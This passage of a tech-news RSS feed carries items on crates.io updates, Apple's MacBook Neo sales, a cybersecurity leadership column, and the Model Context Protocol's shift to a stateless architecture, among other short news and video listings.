<p><strong>New ARCHITECTURE.md</strong>: If you've ever wondered how crates.io actually works, our <a href="https://github.com/rust-lang/crates.io/blob/main/docs/ARCHITECTURE.md" rel="external"><code>ARCHITECTURE.md</code></a> document got a complete rewrite. It is now organized around the high-level systems that make up crates.io and how they fit together, and includes walkthroughs of what happens when you run <code>cargo publish</code>, why a typical crate download never touches our API servers, and how download counts are derived from CDN access logs.</p>
</li>
<li>
<p><strong>Definition lists</strong>: READMEs now render Markdown <a href="https://github.com/rust-lang/crates.io/pull/13950" rel="external">definition lists</a>, a widely used Markdown extension. Our markdown renderer <a href="https://crates.io/crates/comrak" rel="external">comrak</a> already supported them, the extension just wasn't enabled yet. Thanks to <a href="https://github.com/mistaste" rel="external">@mistaste</a> for this contribution!</p>
</li>
<li>
<p><strong>CDN cache tags</strong>: Files uploaded to our static CDN now carry cache-tag metadata, allowing us to invalidate all cached files of a crate or a specific release in a single operation, instead of issuing one invalidation per file URL.</p>
</li>
<li>
<p><strong>Caching improvements</strong>: We removed a global <code>Vary: Cookie</code> response header that was preventing our CDNs from caching public API responses and frontend assets effectively. Per-user responses now use <code>Cache-Control: no-store</code> instead, resulting in better cache hit rates at the CDN edge.</p>
</li>
<li>
<p><strong>Accessibility</strong>: We have made crates.io friendlier to screen readers: decorative icons are now hidden from the accessibility tree, heading hierarchies have been fixed, and lists are marked up as proper lists. ARIA snapshot tests now ensure that regressions can't slip in unnoticed. We plan to continue to improve crates.io accessibility over the coming months.</p>
</li>
<li>
<p><strong>Git index performance</strong>: The background worker's local clone of the git index is now a bare and shallow repository, eliminating roughly 250,000 checked-out files and the full commit history from its disk, improving its performance as we see increased rates of crate publication. The periodic index squashing now goes through the GitHub API instead of generating large git packs locally, which had previously caused out-of-memory failures on the production worker.</p>
</li>
</ul>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/#feedback"></a>
Feedback</h3>
<p>We hope you enjoyed this update on the development of crates.io. If you have any feedback or questions, please let us know on <a href="https://rust-lang.zulipchat.com/#narrow/stream/318791-t-crates-io" rel="external">Zulip</a> or <a href="https://github.com/rust-lang/crates.io/discussions" rel="external">GitHub</a>. We are always happy to hear from you and are looking forward to your feedback!</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CHINA's Best AI Models Get Locked From WEST - CHINA's AI COLD WAR IS ON!]]></title>
<description><![CDATA[Author: Evolving AI - Bewertung: 97x - Views:3387 The global AI race just entered a dangerous new phase. China is reportedly considering restricting access to its most advanced AI models; DeepSeek is developing its own AI chip; ByteDance and Alibaba are shutting down AI companion services under n...]]></description>
<link>https://tsecurity.de/de/3693221/videos/chinas-best-ai-models-get-locked-from-west-chinas-ai-cold-war-is-on/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693221/videos/chinas-best-ai-models-get-locked-from-west-chinas-ai-cold-war-is-on/</guid>
<pubDate>Sat, 25 Jul 2026 08:35:36 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Evolving AI - Bewertung: 97x - Views:3387 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/LGSDWHQwTzM?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>The global AI race just entered a dangerous new phase. China is reportedly considering restricting access to its most advanced AI models; DeepSeek is developing its own AI chip; ByteDance and Alibaba are shutting down AI companion services under new regulations, and the Claude Code controversy has escalated into a geopolitical dispute. At the same time, both China and the United States are tightening control over frontier AI technologies, turning artificial intelligence into a strategic national asset. In this video, we break down the biggest AI developments of the week, including China&#039;s AI export discussions, DeepSeek&#039;s custom silicon ambitions, Huawei-powered AI innovation, Anthropic&#039;s Claude Code controversy, MoWorld&#039;s real-time AI world model, and why many experts believe we&#039;re witnessing the beginning of an AI Cold War. Is the era of open AI coming to an end?<br />
<br />
#AI #China #ArtificialIntelligence #DeepSeek #OpenAI #Anthropic #NVIDIA #Huawei<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[MacBook Neo’s success wasn’t luck, it was a plan]]></title>
<description><![CDATA[It’s difficult to ignore the fact that Apple seems to have turned its MacBook Neo into a weapon to promote platform growth, with enough performance under the hood to make competitors seem inferior.



And even as the PC industry moves to try to compete with Apple’s last huge Mac success, the comp...]]></description>
<link>https://tsecurity.de/de/3693115/it-nachrichten/macbook-neos-success-wasnt-luck-it-was-a-plan/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693115/it-nachrichten/macbook-neos-success-wasnt-luck-it-was-a-plan/</guid>
<pubDate>Sat, 25 Jul 2026 06:47:11 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">It’s difficult to ignore the fact that Apple seems to have <a href="https://www.computerworld.com/article/4180406/after-a-quick-1-1m-sales-macbook-neo-set-to-reshape-the-pc-industry.html">turned its MacBook Neo into a weapon</a> to promote platform growth, with enough performance under the hood to make competitors seem inferior.</p>



<p class="wp-block-paragraph">And even as the PC industry moves to try to compete with Apple’s last <a href="https://www.applemust.com/macbook-neo-continues-to-top-amazon-laptop-charts-in-us-uk/" target="_blank" rel="noreferrer noopener">huge Mac success</a>, the company is already planning a powerful follow-up.</p>



<p class="wp-block-paragraph">That points to the discipline Apple has applied to the Mac since the introduction of Apple Silicon. The company has built a clear product roadmap, strong entry-level pricing, and steady performance gains. This focus is now paying dividends, giving people the impetus to keep placing their trust in Apple and its Macs — even as the industry raises prices in the face of RAMageddon and price increases. </p>



<h2 class="wp-block-heading"><strong>The numbers don’t lie</strong></h2>



<p class="wp-block-paragraph">“Apple’s recent price increase seems to be an inevitable response to these cost increases. In the second half of the year, other PC OEMs are expected to continue to raise prices, and the overall ASP increase is expected to continue,” <a href="https://counterpointresearch.com/en/insights/global-pc-shipments-decline-q2-2026-memory-crisis" data-type="link" data-id="https://counterpointresearch.com/en/insights/global-pc-shipments-decline-q2-2026-memory-crisis" target="_blank" rel="noreferrer noopener">Counterpoint said in a post Wednesday</a>. The researcher tells us global PC shipments shrank 4% in the second quarter of 2026 as rising costs hit demand. The Mac maker, by contrast, moved in the opposite direction, generating 13% growth in the quarter — mainly on the back of the MacBook Neo introduction. </p>



<p class="wp-block-paragraph"><a href="https://www.idc.com/resource-center/press-releases/2q26-pc-top5/" target="_blank">Recent IDC data</a> gives Apple 10.1% year-over-year growth and just under 10% (9.9% to be exact) of the worldwide PC market, even as the overall market declined 4.9%.</p>



<p class="wp-block-paragraph">“With emerging supply chain and tariff challenges inflating memory prices…, Apple’s incredibly aggressive price-point for the MacBook Neo makes its release feel all the more like a gut punch to one of the PC market’s most valuable price tiers,” Futurum Research Director <a href="https://www.computerworld.com/article/4143010/apples-macbook-neo-first-reviews-and-analyst-reactions.html" data-type="link" data-id="https://www.computerworld.com/article/4143010/apples-macbook-neo-first-reviews-and-analyst-reactions.html">Olivier Blanchard said when the Neo was released</a>. </p>



<h2 class="wp-block-heading"><strong>Neo 2.0 is already coming</strong></h2>



<p class="wp-block-paragraph">In the immediate future, as competitors raise prices on the PCs that compete with Apple’s lower-cost device, Cupertino is <a href="https://www.culpium.com/p/apple-in-talks-to-boost-mac-neo-production" target="_blank" rel="noreferrer noopener">already plotting</a> the path toward <a href="https://www.bloomberg.com/news/articles/2026-07-22/apple-to-launch-new-macbook-air-imac-macbook-pro-neo-mac-mini-mac-studio" target="_blank" rel="noreferrer noopener">MacBook Neo 2.</a> Reports claim this will debut in March in new colors and use the A19 Pro chip from the iPhone 17 Pro, with performance boosted by slightly more unified memory (12GB, rather than 8GB). That’ll make it a much better Mac, likely with 10-15% performance gains and the ability to run Apple Intelligence, making it the best and most affordable AI PC in its class.</p>



<p class="wp-block-paragraph">Just four months after the Neo’s rollout, Apple is already in position to leak rumors of an even more computationally capable follow-up, while competitors struggle to compete with the original on performance, build quality, and price. Still, the Neo might get more expensive, reporting warns, with the lowest-price 256GB model now gone, making the $599 Mac a mirage we can only wistfully hope to see again. </p>



<p class="wp-block-paragraph">That might matter less in context, as PC makers everywhere boost prices while RAM, chips, and storage prices head north, along with transport, logistics, and energy costs. “While [Apple] did raise prices in line with the broader market, it still remains well positioned against rivals facing the same cost pressures,” said Jean Philippe Bouchard, vice president for consumer devices at IDC. </p>



<p class="wp-block-paragraph">“As market conditions continue to worsen, the importance of supply chain management and capabilities are increasingly important,” Bouchard said. “The largest vendors, with their buying power and long-standing supplier ties, are best positioned to take share from smaller rivals.”</p>



<h2 class="wp-block-heading"><strong>This was never about luck</strong></h2>



<p class="wp-block-paragraph">This isn’t solely a market take about competition, it’s about planning.</p>



<p class="wp-block-paragraph">Few in the industry seemed prepared for the massive memory price increases that hit this year. Apple clearly planned its low-cost Mac well before that happened, hoping to seize the PC market at the low-mid-range. This is precisely what it seems to have done, what it continues to do, and what it will continue to do.</p>



<p class="wp-block-paragraph">The recent reports that it has a successor planned shows the breadth of the Mac company’s strategic vision, as Apple has quite clearly sought to fully exploit the failings of Windows and the internal contradictions of a value-conscious industry in stiff competition with itself.</p>



<p class="wp-block-paragraph">With the first M-series Macs about to enter the replacement cycle, Apple has built a market it can capitalize on for at least a decade, meaning it already has a vision for PC sales that extends at least as far. That’s the kind of road map corporate purchasers want when they make platform deployment decisions, which is why Apple’s 10% share gains are the beginning of <a href="https://www.computerworld.com/article/4150717/hexnode-ceo-macbook-neo-forces-it-to-rethink-its-budget-laptop-strategy.html">even more significant market change</a>. </p>



<p class="wp-block-paragraph"><em>You can follow me on social media! Join me on <a href="https://bsky.app/profile/jonnyevanssays.bsky.social" target="_blank" rel="noreferrer noopener">BlueSky</a>,  <a href="http://www.linkedin.com/in/jonnyevans" target="_blank" rel="noreferrer noopener">LinkedIn</a>, <a href="https://social.vivaldi.net/@jonnyevans" target="_blank" rel="noreferrer noopener">Mastodon</a> and subscribe to my daily Apple-related news summaries at <a href="https://thecorenews.substack.com/p/welcome-to-the-core?r=5l3lg" target="_blank" rel="noreferrer noopener">The Core</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[3 cybersecurity issues that should keep every CEO awake at night]]></title>
<description><![CDATA[For years, I have been saying that cybersecurity is no longer a technology problem. It has become a business leadership challenge.



Yet, despite record levels of spending, ever-growing security teams, increasingly sophisticated technologies and a constant stream of new regulations, organization...]]></description>
<link>https://tsecurity.de/de/3693088/it-nachrichten/3-cybersecurity-issues-that-should-keep-every-ceo-awake-at-night/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693088/it-nachrichten/3-cybersecurity-issues-that-should-keep-every-ceo-awake-at-night/</guid>
<pubDate>Sat, 25 Jul 2026 06:16:50 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">For years, I have been saying that cybersecurity is no longer a technology problem. It has become a business leadership challenge.</p>



<p class="wp-block-paragraph">Yet, despite record levels of spending, ever-growing security teams, increasingly sophisticated technologies and a constant stream of new regulations, organizations continue to suffer major cyber incidents with alarming regularity. Every week seems to bring news of another ransomware attack, supply chain compromise or data breach affecting organizations that many would have assumed were well protected.</p>



<p class="wp-block-paragraph">The obvious conclusion is that we are asking the wrong questions.</p>



<p class="wp-block-paragraph">Too many executive teams remain preoccupied with the latest threat actor, the newest security product the CISO wants to buy or the latest vulnerability making headlines. Those issues matter, but they are not what should be keeping CEOs awake at night.</p>



<p class="wp-block-paragraph">In my view, there are three far more fundamental issues that deserve the attention of every chief executive.</p>



<h2 class="wp-block-heading">1. Corporate complexity, and the widening gap between business leadership and cybersecurity reality</h2>



<p class="wp-block-paragraph">Perhaps the biggest cybersecurity risk facing large organizations today is not technical at all.</p>



<p class="wp-block-paragraph">It is the growing disconnect between executive perception and operational reality.</p>



<p class="wp-block-paragraph">Many boards genuinely believe their organizations are reasonably well protected. They receive regular dashboards showing improving maturity scores, increasing compliance levels, falling vulnerability counts and reassuring traffic-light reports.</p>



<p class="wp-block-paragraph">Unfortunately, cyber attackers do not read dashboards.</p>



<p class="wp-block-paragraph">Behind those executive reports often lies an increasingly complex technology landscape, thousands of unmanaged digital assets, ageing infrastructure, rampant shadow IT, fragmented ownership, inconsistent governance and security teams struggling to keep pace with relentless business change.</p>



<p class="wp-block-paragraph">The problem is rarely a lack of effort.</p>



<p class="wp-block-paragraph">It is that corporate complexity has reached a level where traditional governance mechanisms are no longer capable of providing an accurate picture of organizational resilience.</p>



<p class="wp-block-paragraph">Executives believe they understand the level of cyber risk they face because they receive regular reports. Those reports often measure activity rather than resilience.</p>



<p class="wp-block-paragraph">Governance committees end up debating around another percentage point of phishing awareness or vulnerability remediation, while fundamental issues remain unaddressed in the background.</p>



<h2 class="wp-block-heading">2. Organizational inertia, and the need for executive structure to evolve faster</h2>



<p class="wp-block-paragraph">Cyber criminals continue to evolve rapidly. Large organizations generally do not.</p>



<p class="wp-block-paragraph">This is the second issue that should concern every CEO.</p>



<p class="wp-block-paragraph">Throughout my career, I have observed organizations repeatedly responding to new cyber threats by adding another technology platform, another monitoring capability, another compliance framework or another governance committee.</p>



<p class="wp-block-paragraph">Very rarely do they stop to redesign how cybersecurity operates.</p>



<p class="wp-block-paragraph">The result is what I described several years ago as the “<a href="https://www.amazon.com/Cybersecurity-Spiral-Failure-How-Break/dp/1637353057/">Cybersecurity Spiral of Failure</a>”.</p>



<ul class="wp-block-list">
<li>As complexity and regulation increase, organizations invest in more security products.</li>



<li>More products create more complexity.</li>



<li>More products and greater complexity generate more alerts.</li>



<li>More alerts require more analysts.</li>



<li>More analysts produce more reports.</li>



<li>More reports continue to build up executive confidence.</li>



<li>Meanwhile, the underlying structural weaknesses remain largely unchanged, technical debt piles up and costs escalate.</li>
</ul>



<p class="wp-block-paragraph">And when the inevitable breach eventually happens, reality reveals itself, but distrust also sets in between senior executives and security teams.</p>



<p class="wp-block-paragraph">This is not a funding problem. Nor is it a skills problem. It is fundamentally an operating model problem.</p>



<p class="wp-block-paragraph">Many organizations continue trying to solve twenty-first century challenges using governance, accountability, organizational and reporting structures designed twenty-five years ago.</p>



<p class="wp-block-paragraph">The cybersecurity function itself has evolved dramatically. Many executive structures have not.</p>



<p class="wp-block-paragraph">This organizational inertia extends beyond technology: It affects budgeting cycles, <a href="https://www.cio.com/article/4193990/reallocating-cybersecurity-capital-in-the-mythos-era.html">investment priorities</a>, procurement processes, accountability models and decision-making speed.</p>



<p class="wp-block-paragraph">Cyber attackers innovate every day. Organizational change often takes years.</p>



<p class="wp-block-paragraph">That imbalance should worry every CEO.</p>



<h2 class="wp-block-heading">3. Accelerating technological disruption, and how it challenges organizations in areas where they are intrinsically weak</h2>



<p class="wp-block-paragraph">The third issue is potentially the most significant over the coming decade.</p>



<ul class="wp-block-list">
<li>Artificial intelligence, autonomous agents and machine identities</li>



<li>Software supply chain complexity.</li>



<li>Quantum computing, and post-quantum cryptography</li>
</ul>



<p class="wp-block-paragraph">Each of these developments represents far more than another technical trend.</p>



<p class="wp-block-paragraph">Together, they fundamentally change the dynamics of cybersecurity.</p>



<p class="wp-block-paragraph">Artificial intelligence is transforming countless business processes. At the same time, it is also increasing both the speed and sophistication of cyber-attacks while simultaneously transforming defensive capabilities.</p>



<p class="wp-block-paragraph">Organizations have become increasingly dependent on software ecosystems that extend far beyond their own direct control. Engaging with the supply chain in ways that lead to a genuine appreciation of the risks involved has become a key challenge for most cybersecurity practices.</p>



<p class="wp-block-paragraph">Quantum computing may eventually invalidate much of today’s cryptographic algorithms, forcing organizations into one of the largest technology efforts since Y2K — but without the benefit of a fixed deadline and faced by a problem that is considerably more complex and hyperconnected IT estates that have little to do with those of the late 90s.</p>



<p class="wp-block-paragraph">None of these challenges can be solved overnight: They require clear governance, sustained investment over a few years and cross-functional organizational coordination.</p>



<p class="wp-block-paragraph">Most large organizations are weak on those three fronts: This is precisely why CEOs should be focusing on them now.</p>



<p class="wp-block-paragraph">Waiting until some of those risks become obvious will almost certainly be too late.</p>



<p class="wp-block-paragraph">Businesses naturally prioritise immediate commercial pressures. Cybersecurity often involves preparing for risks whose timing remains uncertain.</p>



<p class="wp-block-paragraph">But one of the greatest leadership failures I keep seeing remains the inability of organizations to act decisively on known unknowns.</p>



<p class="wp-block-paragraph">That tension explains why many organizations delay action until external events force them to respond. Unfortunately, cybersecurity rarely rewards late action.</p>



<h2 class="wp-block-heading">Leadership will determine who succeeds</h2>



<p class="wp-block-paragraph">Cybersecurity discussions still frequently focus on technology. I believe they should focus far more on leadership.</p>



<p class="wp-block-paragraph">Technology will continue evolving. Threat actors will continue adapting. Regulations will continue expanding. Those developments are inevitable.</p>



<p class="wp-block-paragraph">What remains within the control of every CEO is how their organization responds.</p>



<p class="wp-block-paragraph">Does cybersecurity remain an IT issue? Or is it recognised as an integral part of business resilience?</p>



<p class="wp-block-paragraph">How is cybersecurity accountability assigned at executive level? Or does it still rest largely with a CISO hidden in the organization?</p>



<p class="wp-block-paragraph">Does the board spend sufficient time discussing resilience? Or does cybersecurity appear only when approving budgets or reviewing incidents?</p>



<p class="wp-block-paragraph">These questions will increasingly determine organizational success.</p>



<p class="wp-block-paragraph">The companies that navigate the next decade successfully will not necessarily be those spending the most on cybersecurity. Nor will they be those deploying the latest security technologies first.</p>



<p class="wp-block-paragraph">They will be the organizations whose leadership recognises that cybersecurity has become a permanent business capability — embedded into governance, strategy, operational decision-making and organizational culture.</p>



<p class="wp-block-paragraph">That transformation cannot be delegated. It begins with the CEO.</p>



<p class="wp-block-paragraph">And perhaps that is the single biggest issue that should keep every chief executive awake at night: Not when the next cyber-attack will happen, but whether their organization is evolving quickly enough on those matters to meet a threat landscape that is changing much faster than the business itself.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Black Hat Stories | Where Cybersecurity Professionals Go to Learn]]></title>
<description><![CDATA[Author: Black Hat - Bewertung: 0x - Views:6 Why do cybersecurity professionals keep coming back to Black Hat? Gaurav Keerthi, CEO and founder of StrongKeep shares why learning happens everywhere, from the stage to the conversations in between.]]></description>
<link>https://tsecurity.de/de/3692502/it-security-video/black-hat-stories-where-cybersecurity-professionals-go-to-learn/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692502/it-security-video/black-hat-stories-where-cybersecurity-professionals-go-to-learn/</guid>
<pubDate>Fri, 24 Jul 2026 22:52:16 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Black Hat - Bewertung: 0x - Views:6 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/j8LuOv0VYoA?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Why do cybersecurity professionals keep coming back to Black Hat? Gaurav Keerthi, CEO and founder of StrongKeep shares why learning happens everywhere, from the stage to the conversations in between.<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA["We've got a few more surprises coming" Microsoft talks what's next for Surface and the people's desire for a Surface Studio monitor in new video]]></title>
<description><![CDATA[A new Inside Windows Q&A video has been released that dives into the year so far for Surface, what's next, and whether or not we might see some new peripherals soon.]]></description>
<link>https://tsecurity.de/de/3692202/windows-tipps/weve-got-a-few-more-surprises-coming-microsoft-talks-whats-next-for-surface-and-the-peoples-desire-for-a-surface-studio-monitor-in-new-video/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692202/windows-tipps/weve-got-a-few-more-surprises-coming-microsoft-talks-whats-next-for-surface-and-the-peoples-desire-for-a-surface-studio-monitor-in-new-video/</guid>
<pubDate>Fri, 24 Jul 2026 19:38:53 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A new Inside Windows Q&amp;A video has been released that dives into the year so far for Surface, what's next, and whether or not we might see some new peripherals soon.]]></content:encoded>
</item>
<item>
<title><![CDATA[Firefox’s new tab page adds AI-powered daily crossword widget]]></title>
<description><![CDATA[More widgets are coming to Firefox’s New Tab page, including an interactive crossword puzzle powered by the AI news reader Particle. The mini crossword game is updated daily, with puzzles based around recent content Particle‘s AI has ingested and summarised that day, and links to articles you can...]]></description>
<link>https://tsecurity.de/de/3691978/linux-tipps/firefoxs-new-tab-page-adds-ai-powered-daily-crossword-widget/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691978/linux-tipps/firefoxs-new-tab-page-adds-ai-powered-daily-crossword-widget/</guid>
<pubDate>Fri, 24 Jul 2026 18:03:46 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="406" height="232" src="https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2026/07/firefox-crossword.webp?resize=406%2C232&amp;ssl=1" class="attachment-post-list size-post-list wp-post-image" alt="" decoding="async" fetchpriority="high" srcset="https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2026/07/firefox-crossword.webp?resize=350%2C200&amp;ssl=1 350w, https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2026/07/firefox-crossword.webp?resize=406%2C232&amp;ssl=1 406w, https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2026/07/firefox-crossword.webp?resize=840%2C480&amp;ssl=1 840w, https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2026/07/firefox-crossword.webp?zoom=3&amp;resize=406%2C232&amp;ssl=1 1218w" sizes="(max-width: 406px) 100vw, 406px">More widgets are coming to Firefox’s New Tab page, including an interactive crossword puzzle powered by the AI news reader Particle. The mini crossword game is updated daily, with puzzles based around recent content Particle‘s AI has ingested and summarised that day, and links to articles you can read to help deduce crossword answers. You click on a square to activate the row or column (clicking on it again switches between “Across” and “Down”). You read the clue at the bottom, and then you type in your answer. Use the hint button if you get stuck. If you just want […]</p>
<p>You're reading <a href="https://www.omgubuntu.co.uk/2026/07/firefox-new-widgets-crossword">Firefox’s new tab page adds AI-powered daily crossword widget</a>, a blog post from <a href="https://www.omgubuntu.co.uk/">OMG! Ubuntu</a>. Do not reproduce elsewhere without permission.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Model Context Protocol is going stateless to make scaling simpler]]></title>
<description><![CDATA[Model Context Protocol (MCP), the emerging standard for connecting AI models to external tools and enterprise data, is undergoing its biggest architectural overhaul yet.



The latest release candidate, scheduled for release on July 28, removes protocol-level sessions in favor of a stateless arch...]]></description>
<link>https://tsecurity.de/de/3691919/ai-nachrichten/model-context-protocol-is-going-stateless-to-make-scaling-simpler/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691919/ai-nachrichten/model-context-protocol-is-going-stateless-to-make-scaling-simpler/</guid>
<pubDate>Fri, 24 Jul 2026 17:40:37 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Model Context Protocol (<a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">MCP</a>), the emerging standard for connecting AI models to external tools and enterprise data, is undergoing its biggest architectural overhaul yet.</p>



<p class="wp-block-paragraph">The latest <a href="https://modelcontextprotocol.io/specification/draft/changelog" target="_blank" rel="noreferrer noopener">release candidate</a>, scheduled for release on July 28, removes protocol-level sessions in favor of a stateless architecture, a change which industry experts say is intended to make MCP easier to deploy across standard cloud infrastructure as enterprises move AI pilots into production.</p>



<p class="wp-block-paragraph">“The session-based model made sense when MCP servers were local processes on a developer’s laptop. In production, it became an operational tax,” said <a href="https://www.linkedin.com/in/muskan-bandta2004" target="_blank" rel="noreferrer noopener">Muskan Bandta</a>, cloud associate at ZopDev.</p>



<p class="wp-block-paragraph">“When your infrastructure team asks whether MCP services can scale like other cloud applications, the answer used to be ‘not quite.’ With the move to a stateless architecture, the answer is now yes,” Bandta added.</p>



<p class="wp-block-paragraph">Earlier versions of the protocol maintained information about every client connection, meaning servers had to keep track of each session throughout an interaction. While that approach worked well for local development, it complicated deployments across multiple servers because requests often had to be routed back to the same machine, limiting scalability and making MCP a less natural fit for modern cloud architectures.</p>



<p class="wp-block-paragraph">“Under the new stateless design, every request contains the information needed for any available server to process it independently. Applications that need to maintain context across multiple requests can still do so, but developers must now manage that state explicitly rather than relying on the protocol itself,” she said.</p>



<p class="wp-block-paragraph">This transition to a stateless design goes beyond simplifying infrastructure by fundamentally changing how AI applications manage and share context across tools, according to <a href="https://www.linkedin.com/in/znamit/" target="_blank" rel="noreferrer noopener">Amit Jena</a>, AI development manager at IT consulting firm Kanerika.</p>



<p class="wp-block-paragraph">Instead of keeping application state hidden inside protocol sessions, the new design makes it explicit, allowing AI models to access, reason over, and pass that information between tools, giving developers greater control over how context is preserved and shared across tools, Jena said.</p>



<p class="wp-block-paragraph">It should also make AI workflows more portable, resilient, and easier to orchestrate across distributed environments, he said.</p>



<h2 class="wp-block-heading">MCP’s new features</h2>



<p class="wp-block-paragraph">Other changes to MCP include the addition of a Multi Round-Trip Requests (MRTR) mechanism that changes how AI agents request additional information they need to complete a task.</p>



<p class="wp-block-paragraph">Instead of relying on a persistent connection between the client and server throughout the interaction, the new mechanism lets the server request additional input through a standard request-response exchange before continuing the task, Jena said.</p>



<p class="wp-block-paragraph">Routable transport headers, another addition, enable API gateways and other networking infrastructure to identify and route MCP requests without inspecting their contents.</p>



<p class="wp-block-paragraph">They reduce processing overhead, lower latency, and let enterprise teams enforce routing, rate-limiting and security policies more efficiently using existing API management infrastructure, Jena said.</p>



<p class="wp-block-paragraph">MCP is also getting an updated authorization framework built around OAuth 2.1 and OpenID Connect; interactive MCP Apps; and deterministic caching of tool and resource listings to improve LLM prompt-cache hit rates, potentially saving on token costs.</p>



<h2 class="wp-block-heading">Rebuilding the trust boundary</h2>



<p class="wp-block-paragraph">The MCP release steering committee also decided to deprecate some legacy features, including Roots, Sampling, Logging, the older HTTP+SSE transport and Dynamic Client Registration, although these will continue to work in this version and any other released over the next year.</p>



<p class="wp-block-paragraph">The deprecation of Sampling is likely to have the biggest impact because it changes who is responsible for interacting with foundation models, said Jena.</p>



<p class="wp-block-paragraph">“Sampling let MCP servers invoke the <a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html" target="_blank">LLM</a> through the client, which meant the server had a callback path into the model without owning that connection. Deprecating it means rebuilding that trust boundary,” Jena said. “Your server now calls the model provider directly. That changes your network architecture, your auth model, and depending on how you’ve built cost attribution, your billing flow.”</p>



<p class="wp-block-paragraph">The year-long transition period will be enough for teams to audit their sampling dependencies now, said Jena: “The risk is that teams who haven’t implemented sampling themselves won’t know if a third-party MCP server they’re depending on uses it.”</p>



<h2 class="wp-block-heading">Updated MCP SDKs</h2>



<p class="wp-block-paragraph">To accompany the protocol update, there are updated <a href="https://github.com/modelcontextprotocol" target="_blank" rel="noreferrer noopener">MCP SDKs</a> for <a href="https://www.infoworld.com/article/2253770/what-is-python-powerful-intuitive-programming.html" target="_blank">Python</a>, <a href="https://www.infoworld.com/article/2257305/what-is-typescript-strongly-typed-javascript.html" target="_blank">Typescript</a>, <a href="https://www.infoworld.com/article/2253031/whats-the-go-language-really-good-for-3.html">Go</a>, and <a href="https://www.infoworld.com/article/4131649/the-best-new-features-of-c-14.html">C#</a>. These support both the old and new protocol versions, so new clients can continue communicating with older servers, while updated servers will also support older clients, reducing the risk of immediate disruptions.</p>



<p class="wp-block-paragraph">That backward compatibility should make the transition largely incremental, except for enterprises that built custom infrastructure around MCP’s earlier session-based architecture, Bandta said.</p>



<p class="wp-block-paragraph">Identifying and auditing those session dependencies may not be easy, Jena warned.</p>



<p class="wp-block-paragraph">“Session management complexity tends to be hidden across multiple layers — the gateway config, the deployment scripts, the monitoring dashboards. The code change is small; finding everywhere the assumption lives is what takes time,” he said.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Model Context Protocol is going stateless to make scaling simpler]]></title>
<description><![CDATA[Model Context Protocol (MCP), the emerging standard for connecting AI models to external tools and enterprise data, is undergoing its biggest architectural overhaul yet.



The latest release candidate, scheduled for release on July 28, removes protocol-level sessions in favor of a stateless arch...]]></description>
<link>https://tsecurity.de/de/3691907/it-nachrichten/model-context-protocol-is-going-stateless-to-make-scaling-simpler/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691907/it-nachrichten/model-context-protocol-is-going-stateless-to-make-scaling-simpler/</guid>
<pubDate>Fri, 24 Jul 2026 17:38:35 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



